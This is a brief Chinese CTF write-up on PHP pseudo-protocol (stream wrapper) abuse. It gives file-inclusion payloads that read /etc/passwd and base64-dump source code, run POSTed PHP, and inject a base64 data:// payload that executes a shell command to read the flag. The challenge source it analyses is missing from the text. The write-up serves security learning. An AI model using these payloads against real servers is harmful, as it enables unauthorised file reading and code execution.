php伪协议
题目链接
伪协议
我理解的php伪协议就是,php提供了一种方法用来表示文件,我们可以在url的参数里面使用这个来上传文件或者读取文件
file://
用于访问文件(绝对路径、相对路径、网络路径)
file=file:///etc/passswd |
php://
访问输入输出流
php://filter
读取源代码并进行base64编码输出
cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码) |
php://input
执行POST数据中的php代码
http://127.0.0.1/cmd.php?cmd=php://input |
POST数据:<?php phpinfo()?>
data://
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b |
题目分析
源码:
|
我们的想法就是me这个参数包含一个php文件,能够读取flag,但是me这个参数有几点要求:
不能有
< (小于号) |
可以看到没有data,我们可以使用data这个伪协议
http://127.0.0.1:58958/?me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTsgPz4 |
最终要把=去掉,还能解析base64
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 tgrddf55's Blog!











